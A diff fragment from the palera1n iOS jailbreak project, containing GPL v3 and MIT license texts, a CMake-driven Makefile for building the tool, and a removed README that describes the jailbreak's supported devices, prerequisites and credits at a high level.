hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<https://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
Copyright 2023 palera1n team
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a
|
||||
copy of this software and associated documentation files (the
|
||||
"Software"), to deal in the Software without restriction, including
|
||||
without limitation the rights to use, copy, modify, merge, publish,
|
||||
distribute, sublicense, and/or sell copies of the Software, and to
|
||||
permit persons to whom the Software is furnished to do so, subject to
|
||||
the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included
|
||||
in all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
|
||||
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
||||
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
|
||||
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
|
||||
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
|
||||
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
|
||||
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
@@ -0,0 +1,72 @@
|
||||
.PHONY: all clean
|
||||
|
||||
WITH_GUI ?= 0
|
||||
WITH_TUI ?= 0
|
||||
WITH_RAMDISK ?= 1
|
||||
WITH_BINPACK ?= 1
|
||||
WITH_STATIC ?= 0
|
||||
WITH_CIDERRAIN ?= 0
|
||||
BUILD_TYPE ?= Debug
|
||||
|
||||
CMAKE_SYSROOT ?=
|
||||
CROSS_HOST_TRIPLE ?=
|
||||
JOBS ?= 1
|
||||
|
||||
PLATFORM ?= host
|
||||
|
||||
UNAME_S := $(shell uname -s)
|
||||
|
||||
ifeq ($(PLATFORM),iphoneos)
|
||||
ifneq ($(UNAME_S),Darwin)
|
||||
$(error iOS targets are only supported on macOS)
|
||||
endif
|
||||
|
||||
CMAKE_GENERATOR := -G Xcode
|
||||
APPLE_SYSROOT := $(shell xcrun --sdk iphoneos --show-sdk-path)
|
||||
|
||||
CMAKE_PLATFORM_ARGS := \
|
||||
-DCMAKE_SYSTEM_NAME=iOS \
|
||||
-DCMAKE_OSX_SYSROOT="$(APPLE_SYSROOT)" \
|
||||
-DCMAKE_OSX_ARCHITECTURES=arm64
|
||||
|
||||
else ifeq ($(UNAME_S),Windows_NT)
|
||||
CMAKE_GENERATOR := -G "MinGW Makefiles"
|
||||
else
|
||||
CMAKE_GENERATOR :=
|
||||
endif
|
||||
|
||||
CMAKE_ARGS := \
|
||||
$(CMAKE_GENERATOR) \
|
||||
-DCMAKE_SYSROOT="$(CMAKE_SYSROOT)" \
|
||||
-DCROSS_HOST_TRIPLE="$(CROSS_HOST_TRIPLE)" \
|
||||
-DCMAKE_BUILD_TYPE="$(BUILD_TYPE)" \
|
||||
-DWITH_GUI=$(WITH_GUI) \
|
||||
-DWITH_TUI=$(WITH_TUI) \
|
||||
-DWITH_RAMDISK=$(WITH_RAMDISK) \
|
||||
-DWITH_BINPACK=$(WITH_BINPACK) \
|
||||
-DWITH_STATIC=$(WITH_STATIC) \
|
||||
-DWITH_CIDERRAIN=$(WITH_CIDERRAIN) \
|
||||
$(CMAKE_PLATFORM_ARGS)
|
||||
|
||||
ifneq ($(strip $(JOBS)),)
|
||||
BUILD_ARGS := --parallel $(JOBS)
|
||||
endif
|
||||
|
||||
all: palera1n
|
||||
|
||||
palera1n:
|
||||
@cmake -S . -B build $(CMAKE_ARGS)
|
||||
@cmake --build build $(BUILD_ARGS)
|
||||
ifeq ($(PLATFORM),iphoneos)
|
||||
@codesign --force --sign - --entitlements resources/entitlements.xml build/Debug-iphoneos/palera1n.app/palera1n
|
||||
endif
|
||||
|
||||
package: palera1n
|
||||
cpack --config build/CPackConfig.cmake -C $(BUILD_TYPE)
|
||||
|
||||
clean:
|
||||
@rm -rf build src/gen apple-include-*
|
||||
@if [ -d 1stparty/libciderra1n ]; then \
|
||||
$(MAKE) -C 1stparty/libciderra1n clean; \
|
||||
fi
|
||||
@$(MAKE) -C 1stparty/libopenra1n clean
|
||||
@@ -1,105 +0,0 @@
|
||||
<h1 align="center">
|
||||
<img src="https://avatars.githubusercontent.com/u/114239186?s=100&v=4" alt="palera1n logo">
|
||||
<p>palera1n</p>
|
||||
</h1>
|
||||
<h3 align="center">An iOS 15.0-16.2 work-in-progress, (semi-)tethered checkm8 jailbreak.</h3>
|
||||
<p align="center">
|
||||
<strong><a href="CHANGELOG.md">Change Log</a></strong>
|
||||
•
|
||||
<strong><a href="https://dsc.gg/palera1n">Discord</a></strong>
|
||||
•
|
||||
<strong><a href="https://twitter.com/palera1n">Twitter</a></strong>
|
||||
</p>
|
||||
|
||||
# How does it work?
|
||||
It boots the device with multiple patches required. On first run, it'll boot a ramdisk which dumps your onboard blob, creates a fakefs (if using semi tethered), installs the loader app, and patches your kernel.
|
||||
|
||||
# Issues
|
||||
### Need help?
|
||||
If you need help, **please** join our Discord. We disabled issues due to the flood of spam, and difficulty to respond in general. We are much more comfortable on Discord.
|
||||
|
||||
Please, please, please, provide necessary info:
|
||||
|
||||
- iOS version and device (eg. iPhone 7+ 15.1, iPhone 6s 15.3.1)
|
||||
- Computer's OS and version (eg. Ubuntu 22.04, macOS 13.0)
|
||||
- The command you ran
|
||||
- **Full log from the logs folder**
|
||||
|
||||
**DO NOT** harass tweak devs if tweaks don't work. Refer to [here](https://github.com/itsnebulalol/ios15-tweaks) for compatiblity.
|
||||
|
||||
You may join [here](https://dsc.gg/palera1n).
|
||||
|
||||
# Patreons
|
||||
|
||||
Thank you so much to our Patreons that make the future development possible! You may sub [here](https://patreon.com/palera1n), if you'd like to.
|
||||
|
||||
<a href="https://github.com/samh06"><img width=64 src="https://user-images.githubusercontent.com/18669106/206333607-881d7ca1-f3bf-4e18-b620-25de0c527315.png"></img></a>
|
||||
<a href="https://havoc.app"><img width=64 src="https://docs.havoc.app/img/standard_icon.png"></img></a>
|
||||
<a href="https://twitter.com/yyyyyy_public"><img width=64 src="https://pbs.twimg.com/profile_images/1429332550112079876/dQQgsURc_400x400.jpg"></img></a>
|
||||
<a href="https://twitter.com/0xSp00kyb0t"><img width=64 src="https://pbs.twimg.com/profile_images/1603601553226620935/1t4yD1bD_400x400.jpg"></img></a>
|
||||
|
||||
# Warning
|
||||
- We are **NOT** responsible for any data loss. The user of this program accepts responsibility should something happen to their device. While nothing should happen, jailbreaking has risks in itself. **If your device is stuck in recovery, please run one of the following:**
|
||||
- futurerestore --exit-recovery
|
||||
- irecovery -n
|
||||
|
||||
# Prerequisites
|
||||
- A checkm8 vulnerable iOS device on iOS 15 or 16 (A8-A11)
|
||||
- The device must be on iOS 15.0-16.2
|
||||
- Linux or macOS computer
|
||||
- Python 3 must be installed.
|
||||
|
||||
### A10 and A11 devices
|
||||
- On A10 and A11, **you must disable your passcode while in the jailbroken state**.
|
||||
- On iOS 16 A10+, if you EVER enabled a passcode on 16, you have to reset through the settings app/restore with a computer
|
||||
- On A10, this can be fixed in the future by implementing blackbird.
|
||||
- On A11, we don't have a SEP exploit yet.
|
||||
|
||||
# How to use?
|
||||
|
||||
A tutorial can be found [here](https://ios.cfw.guide/installing-palera1n).
|
||||
|
||||
# Repos
|
||||
|
||||
### Tweaks mode
|
||||
All repos work when using tweaks mode because it uses normal Procursus and not rootless.
|
||||
|
||||
### Rootless
|
||||
Repos need to be updated for rootless, here are some that work currently:
|
||||
|
||||
- [Mineek's repo](https://mineek.github.io/repo) contains rootless Procursus packages
|
||||
- The official [palera1n repo](https://repo.palera.in) contains miscellaneous packages
|
||||
|
||||
If you want to make a rootless repo, use the official [palera1n repo](https://github.com/palera1n/repo) for reference. Every deb should use the `iphoneos-arm64` architecture, and *nothing* should be on the rootfs. Everything should be in /var/jb.
|
||||
|
||||
# Credits
|
||||
|
||||
- [Nathan](https://github.com/verygenericname)
|
||||
- The ramdisk that dumps blobs, copies files, and duplicates rootfs is a slimmed down version of [SSHRD_Script](https://github.com/verygenericname/SSHRD_Script)
|
||||
- For modified [restored_external](https://github.com/verygenericname/sshrd_SSHRD_Script)
|
||||
- Also helped Mineek getting the kernel up and running and with the patches
|
||||
- Helping with adding multiple device support
|
||||
- Fixing issues relating to camera.. etc by switching to fsboot
|
||||
- [iBoot64Patcher fork](https://github.com/verygenericname/iBoot64Patcher)
|
||||
- [Mineek](https://github.com/mineek)
|
||||
- For the patching and booting commands
|
||||
- Adding tweak support
|
||||
- For patchfinders for RELEASE kernels
|
||||
- [Kernel15Patcher](https://github.com/mineek/PongoOS/tree/iOS15/checkra1n/Kernel15Patcher)
|
||||
- [Kernel64Patcher](https://github.com/mineek/Kernel64Patcher)
|
||||
- [Amy](https://github.com/elihwyma) for the [Pogo](https://github.com/elihwyma/Pogo) app
|
||||
- [checkra1n](https://github.com/checkra1n) for the base of the kpf
|
||||
- [nyuszika7h](https://github.com/nyuszika7h) for the script to help get into DFU
|
||||
- [the Procursus Team](https://github.com/ProcursusTeam) for the amazing [bootstrap](https://github.com/ProcursusTeam/Procursus)
|
||||
- [F121](https://github.com/F121Live) for helping test
|
||||
- [m1sta](https://github.com/m1stadev) for [pyimg4](https://github.com/m1stadev/PyIMG4)
|
||||
- [tihmstar](https://github.com/tihmstar) for [pzb](https://github.com/tihmstar/partialZipBrowser)/original [iBoot64Patcher](https://github.com/tihmstar/iBoot64Patcher)/original [liboffsetfinder64](https://github.com/tihmstar/liboffsetfinder64)/[img4tool](https://github.com/tihmstar/img4tool)
|
||||
- [Tom](https://github.com/guacaplushy) for a couple patches and bugfixes
|
||||
- For maintaining [Kernel64Patcher](https://github.com/palera1n/Kernel64Patcher)
|
||||
- [xerub](https://github.com/xerub) for [img4lib](https://github.com/xerub/img4lib) and [restored_external](https://github.com/xerub/sshrd) in the ramdisk
|
||||
- [Cryptic](https://github.com/Cryptiiiic) for [iBoot64Patcher](https://github.com/Cryptiiiic/iBoot64Patcher) fork, and [liboffsetfinder64](https://github.com/Cryptiiiic/liboffsetfinder64) fork
|
||||
- [libimobiledevice](https://github.com/libimobiledevice) for several tools used in this project (irecovery, ideviceenterrecovery etc), and [nikias](https://github.com/nikias) for keeping it up to date
|
||||
- [Nick Chan](https://github.com/asdfugil) general help with patches and iBoot payload stuff
|
||||
- [Dora](https://github.com/dora2-iOS) for iBoot payload and iBootpatcher2
|
||||
- [Sam Bingner](https://github.com/sbingner) for [Substitute](https://github.com/sbingner/substitute)
|
||||
- [Serena](https://github.com/SerenaKit) for helping with boot ramdisk.
|
||||
@@ -1,674 +0,0 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
